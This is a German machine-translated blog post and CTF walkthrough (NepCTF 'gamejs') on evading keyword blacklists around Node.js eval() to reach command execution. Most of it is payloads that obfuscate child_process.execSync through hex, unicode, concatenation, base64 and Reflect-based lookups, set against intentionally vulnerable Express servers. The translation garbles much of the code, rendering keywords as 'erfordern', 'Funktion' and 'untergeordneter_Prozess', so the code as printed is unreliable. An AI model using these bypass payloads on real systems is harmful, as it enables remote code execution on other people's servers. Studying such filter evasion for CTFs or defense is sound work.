Zusammenfassung einiger Tipps zum Umgehen der Node.js-Codeausführung

Zusammenfassung einiger Tipps zum Umgehen der Node.js-Codeausführung

In PHP ist die Ausführung von Eval-Code ein bekanntes Thema, und es werden verschiedene Tricks verwendet, um die Ausführung von PHP-Code zu umgehen. In diesem Artikel geht es hauptsächlich um einige Bypass-Ideen in Node.JS.

1. untergeordneter Prozess

Lassen Sie mich zunächst das child_process-Modul in nodejs vorstellen, das zum Ausführen von Systembefehlen verwendet wird. Nodejs verwendet das Modul child_process, um mehrere untergeordnete Prozesse zu erzeugen, die andere Aufgaben erledigen. Es gibt sieben Methoden in child_process: execFileSync, spawnSync, execSync, fork, exec, execFile und spawn, und alle diese Methoden verwenden die Methode spawn(). Da Fork eine andere untergeordnete Prozessdatei ausführt, sind hier die Verwendungen anderer Funktionen neben Fork aufgeführt.

erfordern("untergeordneter_Prozess").exec("sleep 3");
erfordern("untergeordneter_Prozess").execSync("sleep 3");
require("child_process").execFile("/bin/sleep",["3"]); //Rufen Sie eine ausführbare Datei auf und übergeben Sie Argumente im zweiten Parameter
erfordern("Kindprozess").spawn('sleep', ['3']);
erfordern("Kindprozess").spawnSync('sleep', ['3']);
erfordern("untergeordneter_Prozess").execFileSync('sleep', ['3']);

Unten rufen verschiedene Funktionen tatsächlich Spawn auf. Wenn Sie interessiert sind, können Sie den Quellcode einsehen.

const child = spawn(Datei, Argumente, {
  cwd: Optionen.cwd,
  Umgebung: Optionen.Umgebung,
  gid: Optionen.gid,
  uid: Optionen.uid,
  Shell: Optionen.Shell,
  windowsHide: !!Optionen.windowsHide,
  windowsVerbatimArguments: !!Optionen.windowsVerbatimArguments
});

2. Befehlsausführung in nodejs

Um die Codeausführung zu demonstrieren, habe ich einen minimalen Server mit dem folgenden Code geschrieben:

const express = erfordern('express')
const bodyParser = erfordern('body-parser')
const app = express()

app.use(bodyParser.urlencoded({ erweitert: true }))
app.post('/', Funktion (Anforderung, Res) {
    Code = erforderlich.Body.Code;
    konsole.log(code);
    res.send(eval(code));
})

app.listen(3000)

Das Prinzip ist sehr einfach: Es akzeptiert den von der Post-Methode übergebenen Codeparameter und gibt dann das Ergebnis von eval(code) zurück.

In nodejs wird die Funktion eval() auch zum Ausführen von Code verwendet. Für die oben erwähnte rce-Funktion können wir zunächst den folgenden Code abrufen, um rce mithilfe von Code auszuführen.

Die folgenden Befehle werden alle unter Verwendung des lokalen Curl-Ports ausgeführt.

eval('erfordern("untergeordneter_Prozess").execSync("curl 127.0.0.1:1234")')

Dies ist die einfachste Situation der Codeausführung. Wenn Entwickler eval verwenden und die Punkte aufrufen, die Benutzereingaben Schicht für Schicht akzeptieren können, lassen sie die Benutzereingaben natürlich nicht einfach direkt eintreten, sondern führen eine gewisse Filterung durch. Wenn beispielsweise das Schlüsselwort „exec“ gefiltert wird, wie können wir es umgehen?

Natürlich ist es in der Praxis nicht so einfach. In diesem Artikel geht es nur um Ideen. Sie können es entsprechend den tatsächlich gefilterten Schlüsselwörtern ändern.

Nachfolgend sehen Sie den leicht modifizierten Servercode, dem ein reguläres Schlüsselwort „check exec“ hinzugefügt wurde.

const express = erfordern('express')
const bodyParser = erfordern('body-parser')
const app = express()

Funktion validcode(Eingabe) {
  var re = neuer RegExp("exec");
  returniere erneuten Test (Eingabe);
}

app.use(bodyParser.urlencoded({ erweitert: true }))
app.post('/', Funktion (Anforderung, Res) {
  Code = erforderlich.Body.Code;
  konsole.log(code);
  wenn (gültiger Code (Code)) {
    res.send("verboten!")
  } anders {
    res.send(eval(code));
  }
})

app.listen(3000)

Es gibt 6 Ansätze:

  • Hexadezimale Kodierung
  • Unicode-Kodierung
  • Pluszeichen-Spleißen
  • Vorlagenzeichenfolgen
  • Concat-Funktionsverbindung
  • Base64-Kodierung

2.1 Hexadezimale Kodierung

Die erste Idee ist die hexadezimale Kodierung. Der Grund dafür ist, dass in nodejs, wenn in einer Zeichenfolge Hexadezimalzahlen verwendet werden, das dem ASCII-Code dieser Hexadezimalzahlen entsprechende Zeichen gleichwertig ist (die erste Reaktion ähnelt ein wenig MySQL).

console.log("a"==="\x61");
// WAHR

Bei der Übereinstimmung mit dem regulären Ausdruck oben wird die Hexadezimalzahl jedoch nicht in Zeichen umgewandelt, sodass die Überprüfung des regulären Ausdrucks umgangen werden kann. So können Sie passieren

erfordern("untergeordneter_Prozess")["exe\x63Sync"]("curl 127.0.0.1:1234")

2.2 Unicode-Kodierung

Die Idee ist ähnlich wie oben. Da JavaScript die direkte Darstellung von Unicode-Zeichen durch Codepunkte ermöglicht, lautet die Schreibweise „Backslash + u + Codepunkt“, sodass wir auch die Unicode-Form eines Zeichens verwenden können, um das entsprechende Zeichen zu ersetzen.

console.log("\u0061"==="a");
// WAHR
erfordern("untergeordneter_Prozess")["exe\u0063Sync"]("curl 127.0.0.1:1234")

2.3 Pluszeichen-Spleißen

Das Prinzip ist sehr einfach. Das Pluszeichen kann verwendet werden, um Zeichen in js zu verbinden, also können Sie dies tun

erfordern('untergeordneter_Prozess')['exe'%2b'cSync']('curl 127.0.0.1:1234')

2.4 Vorlagenzeichenfolgen

Verwandte Inhalte finden Sie auf MDN. Hier ist eine Nutzlast

Vorlagenliterale sind Zeichenfolgenliterale, die eingebettete Ausdrücke zulassen. Sie können mehrzeilige Zeichenfolgen und Zeichenfolgeninterpolation verwenden.

erfordern('untergeordneter_Prozess')[`${`${`exe`}cSync`}`]('curl 127.0.0.1:1234')

2.5 Verkettung

Verwenden Sie die Concat-Funktion in js, um Zeichenfolgen zu verbinden

erfordern("untergeordneter_Prozess")["exe".concat("cSync")]("curl 127.0.0.1:1234")

2.6 Base64-Kodierung

Dies sollte eine konventionellere Idee sein.

Auswertung (Puffer.von ('Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik =','base64').toString ())

3. Andere Bypass-Methoden

In diesem Teil geht es hauptsächlich darum, das Denken zu ändern. Die endgültige Idee der oben genannten Methoden besteht darin, das Schlüsselwort „exec“ durch Codierung oder Spleißen zu erhalten. In diesem Teil werden einige Syntax- und integrierte Funktionen von js berücksichtigt.

3.1 Objektschlüssel

Tatsächlich ist das von require importierte Modul ein Objekt, sodass Sie die Methoden im Objekt verwenden können, um zu arbeiten und den Inhalt abzurufen. Sie können Object.values ​​​​verwenden, um die verschiedenen Funktionsmethoden in child_process abzurufen, und dann execSync über den Array-Index abrufen

Konsole.log(erfordert('Kindprozess').Konstruktor===Objekt)
//WAHR
Objekt.Werte(erfordern('child_process'))[5]('curl 127.0.0.1:1234')

3.2 Reflektieren

In js müssen Sie das Schlüsselwort Reflect verwenden, um die Reflexionsmethode zum Aufrufen von Funktionen zu implementieren. Um beispielsweise die eval-Funktion zu erhalten, können Sie zuerst alle Funktionen über Reflect.ownKeys (global) abrufen und dann global [Reflect.ownKeys (global) .find (x => x.includes ('eval'))] verwenden, um eval zu erhalten.

console.log(Reflect.ownKeys(global))
//Alle Funktionen zurückgeben console.log(global[Reflect.ownKeys(global).find(x=>x.includes('eval'))])
//Auswertung abrufen

Nach der Auswertung können Sie RCE mit konventionellem Denken verwenden

global[Reflect.ownKeys(global).find(x=>x.includes('eval'))]('global.process.mainModule.constructor._load("child_process").execSync("curl 127.0.0.1:1234")')

Obwohl hier Schlüsselwörter erkannt werden können, können sie mit der oben genannten Methode, z. B. hexadezimal, codiert werden, da Schlüsselwörter wie mainModule, global, child_process usw. alle in der Zeichenfolge enthalten sind.

global[Reflect.ownKeys(global).find(x=>x.includes('eval'))]('\x67\x6c\x6f\x62\x61\x6c\x5b\x52\x65\x66\x6c\x65\x63\x74\x2e\x6f\x77\x6e\x4b\x65\x79\x73\x28\x67\x6c\x6f\x62\x61\x6c\x29\x2e\x66\x69\x6e\x64\x28\x78\x3d\x3e\x78\x2e\x69\x6e\x63\x6c\x75\x64\x65\x73\x28\x27\x65\x76\x61\x6c\x27\x29\x29\x5d\x28\x27\x67\x6c\x6f\x62\x61\x6c\x2e\x70\x72\x6f\x63\x65\x73\x73\x2e\x6d\x61\x69\x6e\x4d\x6f\x64\x75\x6c\x65\x2e\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72\x2e\x5f\x6c\x6f\x61\x64\x28\x22\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73\x22\x29\x2e\x65\x78\x65\x63\x53\x79\x6e\x63\x28\x22\x63\x75\x72\x6c\x20\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x3a\x31\x32\x33\x34\x22\x29\x27\x29')

Hier ist ein kleiner Trick. Wenn Sie das Schlüsselwort „eval“ filtern, können Sie „includes('eva')“ verwenden, um nach der Funktion „eval“ zu suchen, oder Sie können „startswith('eva')“ verwenden, um zu suchen.

3.3 Filterklammern

In 3.2 erfolgt der Weg zum Abrufen der Auswertung über das globale Array, das eckige Klammern [] verwendet. Wenn die eckigen Klammern gefiltert sind, können Sie Reflect.get verwenden, um sie zu umgehen.

Die Funktion von Reflect.get(target, propertyKey[, receiver]) besteht darin, den Wert einer Eigenschaft eines Objekts abzurufen, ähnlich wie target[name].

Der Weg zur eval-Funktion kann also folgendermaßen aussehen:

Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('eva')))

Fügen Sie dann einfach die Nutzlast der Befehlsausführung zusammen.

4. NepCTF-gamejs

Der erste Schritt dieses Themas ist eine Prototypkettenverschmutzung, und der zweite Schritt ist die Ausführung eines Eval-Befehls. Da dieser Artikel hauptsächlich die Bypass-Methode von Eval behandelt, wird die Prototypkettenverschmutzung entfernt und nur die zweite Hälfte des Bypasses behandelt. Der Code wird wie folgt vereinfacht:

const express = erfordern('express')
const bodyParser = erfordern('body-parser')
const app = express()

var gültigerCode = Funktion (Funktionscode) {
  let validInput = /Unterprozess|Hauptmodul|von|Puffer|Prozess|Unterprozess|Haupt|erfordern|exec|diesen|eval|während|für|Funktion|hex|char|base64|"|'|\[|\+|\*/ig;
  Rückgabewert !validInput.test(Funktionscode);
};

app.use(bodyParser.urlencoded({ erweitert: true }))
app.post('/', Funktion (Anforderung, Res) {
  Code = erforderlich.Body.Code;
  konsole.log(code);
  wenn (!gültigerCode(code)) {
    res.send("verboten!")
  } anders {
    var d = '(' + Code + ')';
    res.send(eval(d));
  }
})

app.listen(3000)

Da das Schlüsselwort einfache und doppelte Anführungszeichen herausfiltert, können diese hier alle durch Backticks ersetzt werden. Erwägen Sie die Verwendung von Reflection zum Aufrufen von Funktionen zum Erreichen von RCE, ohne Reflect herauszufiltern. Mithilfe der oben genannten Punkte können wir schrittweise eine unerwartete Nutzlast konstruieren. Da die Schlüsselwörter child_process und require gefiltert werden, dachte ich zunächst daran, es vor der Ausführung in Base64 zu kodieren.

Auswertung (Puffer.von (`Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=`,`base64`).toString())

Base64 wird hier gefiltert und kann direkt ersetzt werden durch

`Basis`.concat(64)


Nachdem Sie den Puffer herausgefiltert haben, können Sie ihn ersetzen durch

Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))

Um die Methode Buffer.from abzurufen, können Sie den Index

Objekt.Werte(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`))))[1]

Das Problem ist jedoch, dass das Schlüsselwort auch die Klammern filtert, was einfach ist. Fügen Sie einfach eine weitere Ebene von Reflect.get hinzu

Reflect.get(Objekt.Werte(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))),1)

Die Grundnutzlast beträgt also

Reflect.get(Objekt.Werte(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))),1)(`Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=`,`Basis`.concat(64)).toString()

Das Problem besteht jedoch darin, dass eval es nach dieser Übergabe nur dekodiert und nicht den dekodierten Inhalt ausführt, sodass eine weitere Eval-Ebene erforderlich ist. Da das Eval-Schlüsselwort gefiltert wird, ziehen wir auch die Verwendung von Reflexion in Betracht, um die Eval-Funktion zu erhalten.

Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('eva')))(Reflect.get(Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))),1)(`Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=`,`base`.concat(64)).toString())

Wenn Sie Buffer.from abrufen können, gilt das Gleiche mit der Hexadezimalkodierung.

Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('eva')))(Reflect.get(Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))),1)(`676c6f62616c2e70726f636573732e6d61696e4d6f64756c652e636f6e7374727563746f722e5f6c6f616428226368696c645f70726f6365737322292e6578656353796e6328226375726c203132372e302e302e313a313233342229`,`he`.concat(`x`)).toString())

Aufgrund der oben genannten Eigenschaften von Hexadezimalzahlen und Zeichenfolgen können Sie die Hexadezimalzeichenfolge natürlich auch direkt nach der Auswertung übergeben.

Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes(`eva`)))(`\x67\x6c\x6f\x62\x61\x6c\x2e\x70\x72\x6f\x63\x65\x73\x73\x2e\x6d\x61\x69\x6e\x4d\x6f\x64\x75\x6c\x65\x2e\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72\x2e\x5f\x6c\x6f\x61\x64\x28\x22\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73\x22\x29\x2e\x65\x78\x65\x63\x53\x79\x6e\x63\x28\x22\x63\x75\x72\x6c\x20\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x3a\x31\x32\x33\x34\x22\x29`)

Ich finde, dass die Art und Weise, wie NodeJS mit Strings umgeht, zu flexibel ist. Wenn eine Auswertung möglich ist, ist es besser, keine String-Blacklist zum Filtern zu verwenden.

Danke an meinen Frontend-Bruder Semesse für seine Hilfe

Referenzlinks

https://xz.aliyun.com/t/9167
https://camp.hackingfor.fun/

Zusammenfassen

Dies ist das Ende dieses Artikels mit einigen Tipps zum Umgehen der Node.js-Codeausführung. Weitere Informationen zum Umgehen der Node.js-Codeausführung finden Sie in den vorherigen Artikeln von 123WORDPRESS.COM oder in den folgenden verwandten Artikeln. Ich hoffe, dass jeder 123WORDPRESS.COM in Zukunft unterstützen wird!

Das könnte Sie auch interessieren:
  • Fehlerbehebung bei hohem Speicherverbrauch von NodeJs, tatsächlicher Kampfrekord
  • Detaillierte Erläuterung der Verwendung des in Nodejs integrierten Verschlüsselungsmoduls zur Peer-to-Peer-Verschlüsselung und -Entschlüsselung
  • Detaillierte Erklärung asynchroner Iteratoren in nodejs
  • Detaillierte Erklärung der in Node.js integrierten Module
  • Quellcodeanalyse des Nodejs-Modulsystems
  • Eine kurze Diskussion über ereignisgesteuerte Entwicklung in JS und Nodejs
  • So verwenden Sie das Modul-FS-Dateisystem in Nodejs
  • Nodejs Exploration: Tiefgreifendes Verständnis des Prinzips der Single-Threaded High Concurrency
  • Nodejs-Fehlerbehandlungsprozessaufzeichnung
  • So schreiben Sie mit nodejs ein Tool zur Generierung von Entitätsklassen für Datentabellen für C#

<<:  Best Practices für MySQL-Upgrades

>>:  Detaillierte Erläuterung der MySQL-Lösung zur USE DB-Überlastung

Artikel empfehlen

Hinweise zum MySQL-Datenbank-Sicherungsprozess

Heute habe ich mir einige Dinge im Zusammenhang m...

So fügen Sie einer großen MySQL-Tabelle eine Spalte hinzu

Die Frage wird hier zitiert: https://www.zhihu.co...

Ein kurzer Vortrag über JavaScript Sandbox

Vorwort: Apropos Sandboxen: Wir denken vielleicht...

WeChat Mini-Programm Lotterienummerngenerator

In diesem Artikel wird der spezifische Code des W...

JavaScript zum Erreichen eines einfachen Bildwechsels

In diesem Artikel wird der spezifische Code für J...

MySQL-Sortierung mittels Index-Scan

Inhaltsverzeichnis Installieren Sie Sakila Index-...

CSS realisiert den Prozessnavigationseffekt (drei Methoden)

CSS realisiert den Prozessnavigationseffekt. Der ...

So fügen Sie ein Lua-Modul zu Nginx hinzu

Lua installieren wget http://luajit.org/download/...

Implementierung eines Nginx-Load-Balancing-Clusters

(1) Experimentelle Umgebung youxi1 192.168.5.101 ...

Implementierung eines einfachen Weihnachtsspiels mit JavaScript

Inhaltsverzeichnis Vorwort Ergebnisse erzielen Co...